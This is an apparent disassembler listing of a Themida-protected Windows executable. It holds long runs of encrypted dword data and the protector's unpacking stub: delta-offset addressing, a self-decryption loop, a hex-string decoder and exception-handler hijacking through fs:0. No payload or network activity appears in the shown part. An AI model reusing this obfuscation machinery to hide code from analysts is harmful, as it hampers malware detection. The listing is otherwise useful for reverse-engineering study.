dd 0DD000000h, 77h, 723D3C00h, 9E5E2EF2h, 2 dup(0) dd 9800h, 6 dup(0) dd 9ED23C00h, 32h, 2 dup(0) dd 5E283800h, 0E7AC5E3Ah, 77h, 0Bh dup(0) dd 5E9D1D00h, 0FDF1173Ah, 0FFh, 3 dup(0) dd 7A962700h, 4Bh, 0 dd 577E8000h, 2 dup(0) dd 100h, 3 dup(0) dd 8800h, 8 dup(0) dd 0BE2500h, 2 dup(0) dd 57FAEA00h, 2 dup(0) dd 9E800h, 200h, 2 dup(0) dd 0EE5D1700h, 35h, 7 dup(0) dd 9A33E700h, 0C2h, 5 dup(0) dd 0DD189A00h, 679E5777h, 0FEh, 4 dup(0) dd 4BDEB100h, 398D8D3Fh, 0F6h, 866A6900h, 0FEA00F01h, 7Fh dd 3 dup(0) dd 0A9103F00h, 0FFh, 7CD6C500h, 25h, 2 dup(0) dd 0FB5E200h, 8Ah, 6 dup(0) dd 22222200h, 22222222h, 22h, 5 dup(0) dd 67C500h, 6 dup(0) dd 8CE62400h, 0FEh, 4 dup(0) dd 89E93700h, 0D9h, 55EC0100h, 0FF8E5000h, 0FFh, 6 dup(0) dd 591D1000h, 0 dd 56C7C700h, 19h dup(0) dd 0C530DF00h, 0A9h, 9 dup(0) dd 36B00h, 5 dup(0) dd 3A000h, 0DA637000h, 73h, 2 dup(0) dd 0FB8D8D00h, 0AC2147C4h, 0FFh, 2 dup(0) dd 0A90EFB00h, 0FFh, 0F5000000h, 54577h, 0 dd 0C530DF00h, 0A9h, 2C5C6800h, 9Ah, 2 dup(0) dd 0DD59F000h, 0DD205377h, 52F685FDh, 7D53C700h, 89h, 0FC990900h dd 9E8C0A7Fh, 5 dup(0) dd 9D0A9A00h, 6 dup(0) dd 0FF8F3600h, 0FFh, 2 dup(0) dd 17FB700h, 7 dup(0) dd 2DEB00h, 2 dup(0) dd 5D053300h, 1Bh, 0 dd 0EB49200h, 5 dup(0) dd 0FFEBDD00h, 95h, 3 dup(0) dd 6B0E00h, 7E6D00h, 2800h, 0 dd 6D22CC00h, 0FAh, 0 dd 77C3D700h, 56h, 0 dd 59D26E00h, 433000h, 0 dd 988D8D00h, 90h, 9E69DD00h, 4 dup(0) dd 59E3A800h, 2 dup(0) dd 56829200h, 0A9842600h, 0FFh, 2 dup(0) dd 0DA7E600h, 9, 4 dup(0) dd 58A40300h, 0Fh dup(0) dd 27B6A00h, 1, 5A63AC00h, 4 dup(0) dd 0E7A14400h, 77h, 4 dup(0) dd 0FE030400h, 5C3A437Fh, 6E755F6Dh, 6B636170h, 7265h dd 7Ch dup(0) dd 0A9B4E500h, 27h, 5 dup(0) dd 88591100h, 3, 8E52E00h, 54h, 12FF5400h, 4 dup(0) dd 0B194D100h, 64h, 28h dup(0) dd 61222900h, 0B9h, 0D4C96A00h, 12FF5477h, 2 dup(0) dd 58DA4000h, 2 dup(0) dd 0C530DF00h, 0A9h, 2 dup(0) dd 9D0FE600h, 0 dd 0E8275500h, 77h, 2 dup(0) dd 0E74A3B00h, 77h, 6B0E00h, 2 dup(0) dd 597E7400h, 2 dup(0) dd 0FFAF5E00h, 0FFh, 5 dup(0) dd 12FFA400h, 4 dup(0) dd 0FFE4C400h, 1FFh, 3 dup(0) dd 5A132500h, 56C71500h, 2 dup(0) dd 0E8216800h, 571DDC77h, 5A097500h, 0A4CD200h, 0B836CE5Dh dd 7Ch, 7B000900h, 3Ch, 2 dup(0) dd 584E8300h, 0 dd 12FEF000h, 63h dup(0) dd 569E2300h, 0FFFFFF00h, 0FFh, 4 dup(0) dd 0FB5E200h, 8Ah, 8000h, 0Fh dup(0) dd 599EE100h, 2 dup(0) dd 581F6600h, 2 dup(0) dd 0DEFFB000h, 1, 0A400h, 2 dup(0) dd 22581D00h, 0B2h, 5 dup(0) dd 0E83E6800h, 0AA603577h, 5, 8 dup(0) dd 0FFF3F000h, 0FFh, 0B0E900h, 0Ah dup(0) dd 100h, 8 dup(0) dd 59FE0800h, 9 dup(0) dd 0AC000000h, 5 dup(0) dd 5A584400h, 0 dd 9E70C400h, 3 dup(0) dd 33333300h, 2 dup(33333333h), 12A33h, 11h dup(0) dd 0E7C48600h, 77h, 6 dup(0) dd 9E314500h, 7 dup(0) dd 12FF6000h, 59E41500h, 3 dup(0) dd 0A0731600h, 0 dd 56002300h, 0 dd 130000h, 4 dup(0) dd 0FE030400h, 7Fh, 4 dup(0) dd 400h, 3 dup(0) dd 6D0200h, 0 dd 0BCABC700h, 0D000023h, 0FEBFFE00h, 7Fh, 9F23E800h, 92DFD200h dd 76B805h, 57000000h, 2, 0 dd 0D4C96A00h, 77h, 0FE030400h, 7Fh, 7A4C00h, 2 dup(0) dd 908E00h, 4 dup(0) dd 0A5CB7000h, 0FFh, 6B0E00h, 0 dd 0FE030400h, 7Fh, 0 dd 5F7DFF00h, 64h, 5 dup(0) dd 1FCFC00h, 21212180h, 21h, 57BE7F00h, 4 dup(0) dd 0F6367000h, 7Fh, 2 dup(0) dd 0FFFFDC00h, 56002302h, 0 dd 6B0E00h, 6 dup(0) dd 9F2BFF00h, 33h, 56829200h, 5 dup(0) dd 494E0D00h, 84h, 8 dup(0) dd 53D26600h, 0FFh, 0 dd 59E84700h, 2 dup(0) dd 567BDA00h, 59000000h, 2, 6 dup(0) dd 593E4B00h, 3 dup(0) dd 9EA00F00h, 0A000h, 0 dd 0A97D6E00h, 0FFh, 0E26EAA00h, 0B8h, 15h dup(0) dd 0AE001600h, 143h, 9 dup(0) dd 0A09BAC00h, 0A8829F00h, 7Fh, 597CBA00h, 0 dd 2D98AB00h, 9Ah, 0FFA65300h, 0FFh, 4 dup(0) dd 0FE030400h, 7Fh, 0AE681A00h, 0E9h, 5A58E500h, 0 dd 6B0E00h, 9EA00F00h, 0 dd 0AA81C100h, 0AE9422F1h, 53h, 2 dup(0) dd 38C09600h, 16h, 5 dup(0) dd 7CD6C500h, 25h, 0Ah dup(0) dd 0FE030400h, 5DBF297Fh, 5Ch, 583F6100h, 4 dup(0) dd 0FFFFF800h, 77h, 0E7A13F00h, 5307B977h, 2 dup(0) dd 2D98AB00h, 593A8A9Ah, 4 dup(0) dd 9F156400h, 2 dup(0) dd 5697C100h, 28010500h, 0Ah, 0 dd 0FFA61C00h, 0BD00F8FFh, 0 dd 0FE030400h, 7Fh, 0 dd 0D2E900h, 3 dup(0) dd 0E7A14400h, 785F8577h, 1Ah, 0Bh dup(0) dd 0FFFFFF00h, 0FFh, 0 dd 56829200h, 2 dup(0) dd 400h, 2 dup(0) dd 9D000000h, 6 dup(0) dd 74EDDC00h, 0FAh, 0FD4EF300h, 95h, 10h dup(0) dd 531FA500h, 0 dd 0E793EF00h, 0E1005077h, 0FDh, 30DF00h, 0 dd 0C4323100h, 0B0h, 0 dd 28A52D00h, 88h, 4 dup(0) dd 5A000000h, 102h, 2 dup(0) dd 5307B900h, 0 dd 5691E100h, 3 dup(0) dd 56257000h, 5 dup(0) dd 41024100h, 2, 0 dd 0A28D5300h, 5 dup(0) dd 15CE900h, 4 dup(0) dd 593ABA00h, 3 dup(0) dd 43472400h, 0FDh, 569E4900h, 65685400h, 6164696Dh, 1Eh dup(0) dd 9EA00F00h, 2 dup(0) dd 53002300h, 4 dup(0) dd 0A8F97100h, 0E9h, 4 dup(0) dd 5D79FF00h, 64h, 0FFFF4800h, 0FFh, 8 dup(0) dd 5821DD00h, 0E8061800h, 615FF177h, 0FFh, 3 dup(0) dd 0E7A5FD00h, 58032D77h, 4 dup(0) dd 59863700h, 0AC00h, 0 dd 122D0400h, 91h, 4 dup(0) dd 9D0FE600h, 0AEA1FE00h, 2 dup(0) dd 12FF5400h, 7 dup(0) dd 9F156800h, 0 dd 0DD5ECC00h, 77h, 5 dup(0) dd 0FE030400h, 7Fh, 6 dup(0) dd 0FFA61C00h, 0FFh, 6DEC00h, 58217F00h, 2 dup(0) dd 20EE900h, 9EA03700h, 3 dup(0) dd 56258A00h, 2 dup(0) dd 0A800h, 0 dd 6B0E00h, 2 dup(0) dd 9D000000h, 5 dup(0) dd 0A97D6E00h, 57DF23FFh, 3 dup(0) dd 0D31C7800h, 0D2h, 2 dup(0) dd 56FB0000h, 0E78B8200h, 77h, 3 dup(0) dd 7000h, 2 dup(0) dd 567BDA00h, 0 dd 9E09F700h, 68030400h, 5Ah, 4 dup(0) dd 7800h, 2 dup(0) dd 0E6D70600h, 77h, 0FFF11700h, 0FFh, 5858FC00h, 11h dup(0) dd 57103900h, 2 dup(0) dd 0B21DEF00h, 78h, 0BB1B4600h, 7Ah, 0 dd 9E69DD00h, 0 dd 58DB0C00h, 0 dd 0FE50CC00h, 0FFh, 0 dd 5A349000h, 1005400h, 0 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53219D: ; CODE XREF: start:loc_52EDDCj mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 61E33CBh mov [ebp+61E029Dh], edx mov [ebp+61E0EB5h], esi mov [ebp+61E013Dh], eax cmp dword ptr [ebp+61E0055h], 0 jz short loc_5321D5 mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_5321D5: ; CODE XREF: start+5F1B3j mov eax, [esp+40h+var_1C] mov [ebp+61E0851h], eax push 45h call sub_532289 push 783749Ah call sub_5322CF push 0A894B25h call sub_5322CF jmp loc_532413 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 45h dd 49484746h, 4D4C4B4Ah, 51504F4Eh, 55545352h, 59585756h dd 5D5C5B5Ah, 61605F5Eh, 65646362h, 69686766h, 6D6C6B6Ah dd 71706F6Eh, 75747372h, 79787776h, 7D7C7B7Ah, 81807F7Eh dd 85848382h, 89888786h, 8D8C8B8Ah, 91908F8Eh, 95949392h dd 99989796h, 9D9C9B9Ah, 0A1A09F9Eh, 0A5A4A3A2h, 0A9A8A7A6h dd 0ADACABAAh, 0B1B0AFAEh, 0B5B4B3B2h, 0B9B8B7B6h, 0BDBCBBBAh dd 0C1C0BFBEh, 0C3C2h, 2 dup(0) db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_532289 proc near ; CODE XREF: start+5F1CDp var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 61E34B9h mov ebx, edx mov [ebp+var_28], 0 loc_5322A5: ; CODE XREF: sub_532289+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_5322C4 mov eax, [ebp+arg_0] mov [ebx+61E3423h], eax inc [ebp+arg_0] inc ebx jmp short loc_5322A5 ; --------------------------------------------------------------------------- loc_5322C4: ; CODE XREF: sub_532289+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_532289 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5322CF proc near ; CODE XREF: start+5F1D7p start+5F1E1p var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 61E3502h lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_5322F5: ; CODE XREF: sub_5322CF+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_5322F5 mov [ebp+var_84], 0 lea edi, [edx+61E3423h] lea esi, [ebp+var_80] loc_532325: ; CODE XREF: sub_5322CF+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_532331: ; CODE XREF: sub_5322CF+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_532331 imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_532325 popa leave retn 4 sub_5322CF endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_53236F ; --------------------------------------------------------------------------- loc_53236B: ; CODE XREF: Themida_:00532372j inc dword ptr [ebp-4] inc esi loc_53236F: ; CODE XREF: Themida_:00532369j cmp byte ptr [esi], 0 jnz short loc_53236B mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_532400 ; --------------------------------------------------------------------------- loc_532381: ; CODE XREF: Themida_:00532403j mov dword ptr [ebp-8], 0 jmp short loc_5323F7 ; --------------------------------------------------------------------------- loc_53238A: ; CODE XREF: Themida_:005323FBj mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_5323E4 ; --------------------------------------------------------------------------- loc_53239A: ; CODE XREF: Themida_:005323E8j shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_5323BC cmp bl, 39h ja short loc_5323BC sub bl, 30h jmp short loc_5323DE ; --------------------------------------------------------------------------- loc_5323BC: ; CODE XREF: Themida_:005323B0j ; Themida_:005323B5j cmp bl, 61h jb short loc_5323CE cmp bl, 66h ja short loc_5323CE sub bl, 61h add bl, 0Ah jmp short loc_5323DE ; --------------------------------------------------------------------------- loc_5323CE: ; CODE XREF: Themida_:005323BFj ; Themida_:005323C4j cmp bl, 41h jb short loc_5323DE cmp bl, 46h ja short loc_5323DE sub bl, 41h add bl, 0Ah loc_5323DE: ; CODE XREF: Themida_:005323BAj ; Themida_:005323CCj ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_5323E4: ; CODE XREF: Themida_:00532398j cmp dword ptr [ebp-0Ch], 2 jb short loc_53239A cmp dword ptr [ebp-10h], 0 jbe short loc_5323F4 mov eax, [ebp-10h] stosb loc_5323F4: ; CODE XREF: Themida_:005323EEj inc dword ptr [ebp-8] loc_5323F7: ; CODE XREF: Themida_:00532388j cmp dword ptr [ebp-8], 2 jb short loc_53238A add edx, 4 loc_532400: ; CODE XREF: Themida_:0053237Fj cmp edx, [ebp-4] jb loc_532381 mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_532413: ; CODE XREF: start+5F1E6j mov ecx, 7000h lea edi, [ebp+61E3648h] loc_53241E: ; CODE XREF: start+5F40Ej dec byte ptr [edi] inc edi dec ecx jnz short loc_53241E mov eax, 48692121h mov edx, 0F00D3000h sub edx, 0F0000000h lea eax, [ebp+61E378Fh] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax push 0 push esi call sub_53245A and [esi-3Dh], bl ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= sub_53245A proc near ; CODE XREF: start+5F43Ep arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_53245A endp ; --------------------------------------------------------------------------- dw 0B4BEh dd 158895D7h, 2B6FF232h, 0B0D38166h, 8A96B316h, 0BBC22BDAh dd 504194CAh, 19939BBh, 0F000251Dh, 6AFFFFh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 41F204C3h dd 1D343D5Dh, 0E84D4099h, 11h, 52488483h, 0A8ABB0DBh, 7082C006h dd 2F14FCC1h, 0E860F84h, 0E9000000h, 9, 0BD0A79A3h, 5A3C799Dh dd 0CA8B5B03h, 8166FF33h, 755A4D38h, 50B70F0Eh, 81D0033Ch dd 45503Ah, 2D087400h, 1000h, 64E3EB47h, 58Fh, 0C4830000h dd 0A2958D04h, 52061E37h, 35FF64h, 64000000h, 2589h, 0C1030000h dd 10002Dh, 4708B00h, 0E681h, 0FE81FFFFh, 80000000h, 708B0376h dd 83C0331Ch, 1F7432F8h, 4D3E8166h, 8109745Ah, 10000EEh dd 0EBEB4000h, 33C7E8Bh, 503F81FEh, 74000045h, 64E8EB44h dd 58Fh, 0C4830000h, 51C36104h, 10244C8Bh, 0B0A981h, 10000000h dd 33590000h, 8B51C3C0h, 5510244Ch, 0E8h, 0ED815D00h, 61E37ADh dd 376B858Dh, 8189061Eh, 0B8h, 0C033595Dh, 8F6496C3h, 5 dd 4C48300h, 66D9BF0Fh, 5CAE381h, 66DABF0Fh, 28B3D98Ch dd 6604E180h, 0AB8B2BBh, 21850FC9h, 0E9000000h, 9, 0A2FAE0A2h dd 7D1A4A6h, 2D85C77Bh, 1061E27h, 0F000000h, 0FE9DABFh dd 0F8000000h, 272D85C7h, 61Eh, 0BB660000h, 8589D288h dd 61E02F1h, 9C0DB81h, 85890D44h, 61E3291h, 11E8h, 0F70FD100h dd 0C8E297BAh, 0E5ADA083h, 62EBCBB5h, 815ADF85h, 7510C2h dd 0C213BE00h, 0FF2B7CDEh, 138F0Fh, 0EE90000h, 2A000000h dd 72FCF771h, 0BBEB421Ah, 528FEF3Fh, 3A048BA8h, 38B9A1BBh dd 66F08155h, 8147E07Ch, 9B5FF4C0h, 36C0814Eh, 66680AA3h dd 489C88Bh, 9BFAB93Ah, 0EF812B08h, 6B235FEEh, 93DB8166h dd 0EAC781D8h, 806B235Fh, 0FF81CED7h, 0FFFF8B88h, 0FFBB850Fh dd 0DE8FFFFh, 5000000h, 221411BCh, 0A33EB3E1h, 1D36808Bh dd 6810Fh, 830F0000h, 0 aSp db '^Иp',7,0 align 2 dw 0BD31h dd 61E214Dh, 217h, 1, 0E90000F8h, 0Eh, 1A097F96h, 0D7772937h dd 1EAFD77Eh, 0F5608394h, 8529C02Bh, 61E1DF5h, 2824548Bh dd 3618D09h, 8589061Eh, 61E0065h, 2E15B531h, 3CBE061Eh dd 89000000h, 1E2005BDh, 24740306h, 9D9D2924h, 66061E29h dd 6E9ADh, 3C800000h, 526C7F93h, 24244403h, 2FD9BD29h dd 6050061Eh, 108F0Fh, 0BE90000h, 67000000h, 0D6868890h dd 96FFE6D6h, 8961E0E5h, 11E92404h, 0D3000000h, 22A29EF7h dd 6D55822Fh, 0E40734AFh, 0B6FFC6BBh, 0BE860h, 0D1FB0000h dd 0C3C2342Ch, 835C3CFBh, 6E994h, 0C5C50000h, 0A63C8501h dd 61DF8B5Bh, 6078408Bh, 0C36EC981h, 89612386h, 1E157D9Dh dd 24440306h, 55852928h, 8B061E02h, 85891840h, 61E19C1h dd 7880F40h, 0F000000h, 18Fh, 8589F800h, 61E38DCh, 2D7D8D29h dd 8958061Eh, 1E292995h, 78708B06h, 17418589h, 0C683061Eh dd 0C99D011Ch, 3061E1Fh, 60242474h, 13E8h, 0A9720500h dd 18E57E75h, 9FC79878h, 7DFFD3E4h, 2805707h, 2BD9D29h dd 0E85F061Eh, 0Ch, 94E74335h, 0BFC8EEFAh, 96E06E60h, 5199531h dd 615A061Eh, 98DBD8Dh, 0BD29061Eh, 61E1451h, 18ED8D31h dd 60AD061Eh, 0D79AC081h, 0BD890189h, 61E024Dh, 4403F861h dd 0B1602424h, 818509D3h, 61061E2Eh, 7E960h, 0F1980000h dd 29DA1DA7h, 199D331Ch, 61061E1Fh, 81B589ABh, 8D061E00h dd 1E2BA1BDh, 998D8906h, 0AD061E33h, 10E9FCh, 0EB0B0000h dd 0CF511E22h, 8854BE3Dh, 83E6A2BAh, 44033BA6h, 90F52424h dd 9E9h, 0EFEA2100h, 7F3A15C0h, 505066CDh, 68A0F52h, 50000000h dd 5A310F52h, 60310F58h, 12E9h, 8DD28400h, 38D2D02h, 0D62682E6h dd 91082AB6h, 50C6DE9Ah, 585A6159h, 0FABF990h, 0C84h, 6850F00h dd 89000000h, 1E231D85h, 5BD8D06h, 0E9061E1Dh, 0Ch, 35504231h dd 0B8BE3986h, 0B92D3A9h, 2EDB589h, 29AD061Eh, 1E064D8Dh dd 24440306h, 259D0128h, 0AB061E17h, 88A0Fh, 850F0000h dd 2, 0E95E6160h, 6, 2C64BC22h, 8DFFB859h, 61E38DCh, 38DCBD83h dd 7500061Eh, 2444C710h, 1Ch, 0DBB58D00h, 0FF061E3Dh, 3AD56E6h dd 97282444h, 858ADF8Bh, 61E2041h, 474C084h, 4C75073Ah dd 0AEC03257h, 2B5EFD75h, 33FC52FBh, 0D18B49C9h, 0DB33C033h dd 8AC132ACh, 8AEA8ACDh, 6608B6D6h, 0D166EBD1h, 660973D8h dd 66504135h, 5449F381h, 0EB75CEFEh, 0D333C833h, 0F7D5754Fh dd 8BD1F7D2h, 10C0C1C2h, 5AC18B66h, 0F74D03Bh, 4C6835Eh dd 6585FFh, 6FE9061Eh, 5EFFFFFFh, 203D8589h, 0B529061Eh dd 61E17EDh, 65858Bh, 9509061Eh, 61E196Dh, 6660E0D1h, 801EB2BBh dd 961CBE3h, 1E0859B5h, 5850306h, 0F061E1Dh, 68Ch, 0A1BD2900h dd 2B061E16h, 0EE9F6h, 330000h, 54CB00FFh, 29002D47h, 892021FAh dd 0AD66F996h, 8E9h, 0C9EB4800h, 0EFCFB3A0h, 2E0C11Fh dd 5880F60h, 0BE000000h, 19D15908h, 8D850361h, 1061E09h dd 1E1A519Dh, 59B50906h, 96061E13h, 8658D89h, 60AD061Eh dd 4F57BB66h, 80CDE881h, 8B61571Fh, 8924244Ch, 1E0A1D8Dh dd 24440306h, 2CB46024h, 79D9D8Bh, 8961061Eh, 0F1C2444h dd 0E8Bh, 9D896000h, 61E22A9h, 7D19D89h, 9661061Eh, 5E9h dd 0ABC02500h, 0FCACC098h, 1C3D8D89h, 0C932061Eh, 26C98589h dd 0C1FE061Eh, 13798D89h, 0D0D0061Eh, 11D830Fh, 8D890000h dd 61E1C15h, 830FD0D0h, 10Fh, 19800FF9h, 60000000h, 0DE9h dd 1D16C500h, 0FDE14433h, 33DD645Bh, 69BF7884h, 6109BC1Fh dd 820FD0D0h, 0E7h, 0BE9h, 0E10FEB00h, 5E8F856h, 0F38263Ch dd 0FD0D0F5h, 0CE82h, 8B666000h, 14E853C1h, 3C000000h dd 88406E00h, 0FEAC156h, 95ED08F6h, 0DA74DBD6h, 59B6057Ah dd 9D896158h, 61E0E99h, 890FC9FEh, 0FFFFFF7Ah, 18F0F60h dd 0F9000000h, 28D0Fh, 58530000h, 20C48361h, 0E820Fh, 9E90000h dd 67000000h, 0BA6760CEh, 1D5FA5E7h, 0FC2444C7h, 0 dd 0FE9h, 2C0F8000h, 4B79C2DAh, 86A6648Eh, 3C862D4h, 188C0Fh dd 13E90000h, 0BC000000h, 8ECC4560h, 6E4890A7h, 3D968738h dd 0FDCBA7FFh, 1B8220Dh, 9000000h, 1E25ED85h, 0AB8D8D06h dd 60061E71h, 2A49BD8Bh, 61F9061Eh, 5E9h, 111FF100h, 0E1FF5FB5h dd 0B8B0Fh, 0F600000h, 810FCEB7h, 0 dd 79858961h, 0C6061E08h, 1E204185h, 61F90006h, 318D89h dd 8C2061Eh, 8D236000h, 61E2749h, 5050F961h, 0EE86052h dd 0E5000000h, 0F598E6A9h, 1A17C968h, 0BFE8F2F5h, 8B665EC0h dd 310F61CEh, 810F5250h, 0 dd 8C0F310Fh, 0 dd 585A585Ah, 9243489h, 1E0DF585h, 0CE906h, 3B490000h dd 5EF2DBC4h, 6D0CFD98h, 0B589A3C0h, 61E4015h, 65DAB960h dd 13E95F5Ah, 0D3000000h, 43D60DE9h, 291F79FEh, 1426F0AFh dd 0FD63FF19h, 31610FD5h, 1E050D95h, 328D8906h, 60061E40h dd 13E8C18Bh, 80000000h, 0AD67D933h, 0A0A62612h, 9A9C0CB6h dd 281875FBh, 0DE93D7Bh, 9F000000h, 3D48550Fh, 20241831h dd 75AEB672h, 0B58D6158h, 61E3ED5h, 319D29h, 858D061Eh dd 5B7E35h, 1409BD89h, 0D0FF061Eh, 5E9h, 0C894700h, 605ED859h dd 14D5958Bh, 0B70F061Eh, 0F5C361CAh, 15B58BFCh, 0E9061E40h dd 6, 7AEAEA7Ah, 8D8BEAB5h, 61E4032h, 0F298D09h, 8589061Eh dd 61E2F6Dh, 8960C02Bh, 1E089985h, 13E906h, 0DED60000h dd 0D893476Ah, 0CE838EB0h, 925579A4h, 5209A7EDh, 0D98B61D2h dd 2B9DB531h, 0CDE9061Eh, 0E9000000h, 8, 0C2A27EA8h, 0D17EC9F1h dd 36B15260h, 9BD8958h, 61061E1Fh, 0BD012632h, 61E0CC1h dd 830F02B2h, 1, 5BE9F8h, 32F90000h, 8B6660C2h, 0D38166CEh dd 56122A5h, 8A751D7Ah, 11E9h, 7BF80F00h, 2377456Dh, 8A8D6ADCh dd 0CC8F8998h, 0CC8A9058h, 0E298D89h, 0B509061Eh, 61E3115h dd 880FC8D3h, 0Ch, 6840Fh, 8E0F0000h, 0 dd 0D1084235h, 29B58998h, 0FE061E04h, 0D18B60CAh, 0FD20A61h dd 0FFFF9E85h, 314BF5FFh, 1E223195h, 8D896006h, 61E020Dh dd 7E8h, 0E0598400h, 0B185F4CBh, 3E9B58Bh, 615F061Eh, 12E946h dd 98130000h, 4353E798h, 0BBE1DA65h, 0FDF02C2Dh, 0FEF42E14h dd 850FDB0Bh, 0FFFFFF44h, 0C820Fh, 1600000h, 1E1C11BDh dd 0BEB96606h, 29CF619Dh, 1E31D9B5h, 0F000006h, 683h, 519D2900h dd 61E32h, 8E900h, 0D68F0000h, 16FAEC5Dh, 0C1A4h, 2CC5B501h dd 61Eh, 5E9h, 495EC500h, 858DDFACh, 61E38FAh, 51858960h dd 61061E15h, 1B3D8589h, 8C0F061Eh, 1, 0F6858DFCh, 89061E3Dh dd 1E0819BDh, 958B6006h, 61E2045h, 61DAB70Fh, 17D18589h dd 0FE8061Eh, 0FD000000h, 64D10306h, 0A91906E3h, 0F3DDA422h dd 0BD8B90B3h, 61E0D41h, 0D958958h, 81061E02h, 5A9DC0h dd 6DB58900h, 68061E23h, 0 dd 1B5DB589h, 0E85E061Eh, 13h, 3A1929D1h, 0F7E94D6Bh, 9DC6F964h dd 3A88D474h, 8B5D5B74h, 1E1925BDh, 148B5F06h, 57B36030h dd 614BBA66h, 40EA8161h, 36130D7h, 1E05099Dh, 14C28106h dd 8B32F8EDh, 1E2C0DBDh, 3C28106h, 0B97FF7F6h, 20D75516h dd 0BB301489h, 6C7F4866h, 5E953h, 0B1AA0000h, 5F7EEED8h dd 0A4FAEE81h, 0C6814A69h, 4A69A4F6h, 0FE9h, 0B0AA3900h dd 67908CC0h, 6AC05EAAh, 6FA101C9h, 0A638FE81h, 850FFFFFh dd 0FFFFFF92h, 0CE8h, 0AEF52E00h, 16C0DA3Ah, 2FFC0262h dd 29EF81BCh, 59491C81h, 14EBh, 3 dup(0) dd 880000h, 858D0000h, 61E4221h, 42D8589h, 0BD83061Eh dd 61E416Ah, 2C840F00h, 0C6000001h, 1E204185h, 0A6685606h dd 817334DFh, 8D932404h, 0B5FF60EAh, 61E02F1h, 38FA858Dh dd 0D0FF061Eh, 415E8589h, 85C6061Eh, 61E2041h, 49226856h dd 34818298h, 30F17024h, 0F1B5FF1Eh, 8D061E02h, 1E38FA85h dd 89D0FF06h, 1E416285h, 68046A06h, 6C31B92h, 92243481h dd 8B06C30Bh, 1E416E85h, 1F40506h, 0E0C10000h, 4895002h dd 0FF006A24h, 1E416295h, 66858906h, 8B061E41h, 0FFFFB8D8h dd 95FFFFFFh, 61E042Dh, 95FFC38Bh, 61E042Dh, 96E9h, 6ABD8300h dd 61E41h, 1850Fh, 57C30000h, 4166BD8Bh, 83AB061Eh, 1E416685h dd 0C35F0406h, 416ABD83h, 0F00061Eh, 185h, 8360C300h, 1E4166ADh dd 9D8B0406h, 61E4166h, 0FFFC7B83h, 26850Fh, 4E80000h dd 0 dd 50000080h, 424448Bh, 4489008Bh, 6A580424h, 0FF33FF00h dd 1E415E95h, 0E9C36106h, 26h, 4E8h, 800000h, 448B5000h dd 8B0424h, 4244489h, 0FF006A58h, 5E95FF33h, 83061E41h dd 1E4166ADh, 9FE90406h, 48FFFFFFh, 9D3E9h, 6DDB0700h dd 21CB36C2h, 78FB2CDh, 94AFF51Ah, 0ABF95B53h, 0B3DF5389h dd 2D7F591Bh, 0BECF36F4h, 6DFD5A01h, 2D893DCFh, 5598A0C5h dd 93BDE449h, 0C4B25416h, 0B9D523EAh, 217E440Fh, 0BCCF36A6h dd 6DFE5507h, 328927CFh, 5587BAD8h, 88A3F857h, 0AFBC4001h dd 0AE991789h, 6C6F440Bh, 0A98137F4h, 6DE84107h, 33C621D6h dd 5B87B4D8h, 63h dup(0) dd 6DDB0700h, 3DC73CCBh, 5598BADEh, 80A1EF4Ah, 0EEF15801h dd 0FCCA128Fh, 637E520Ch, 0A5CE25A6h, 3FBA5006h, 3DC73DD3h dd 1CCAB2C4h, 88B7BD54h, 0BDBC4B06h, 0B9CD009Eh, 111903h dd 0B1C42FD6h, 6DB6511Bh, 3BC53DD3h, 1CCAB1CBh, 95A8BD4Eh dd 0A3BC541Ch, 0AED61E82h, 637A1717h, 0B5D363E2h, 3FFB401Bh dd 3BD073D2h, 5CAA7DFh, 95A9F248h, 0B25412h, 48h dup(0) dd 6DDB0700h, 37C821C5h, 5298B0C1h, 88BABD49h, 0A6BC551Ch dd 0BE990086h, 2D75520Bh, 0BED42CE0h, 38E8140Ch, 3AC03DC8h dd 1B83F5CDh, 92A1E41Ah, 0B7EF1901h, 0B1DC0794h, 5D163D40h dd 0A3C026EAh, 38BA180Dh, 35C63FC8h, 183F5CEh, 88BCFB1Ah dd 0ABF1191Eh, 0A5CB1C8Ah, 6975564Eh, 0A3C431A6h, 39E8551Ch dd 21C62A86h, 79AF5D8h, 86BCFA55h, 171Eh, 61h dup(0) dd 24DC0700h, 378936CAh, 98A7C5h, 83ABE94Ah, 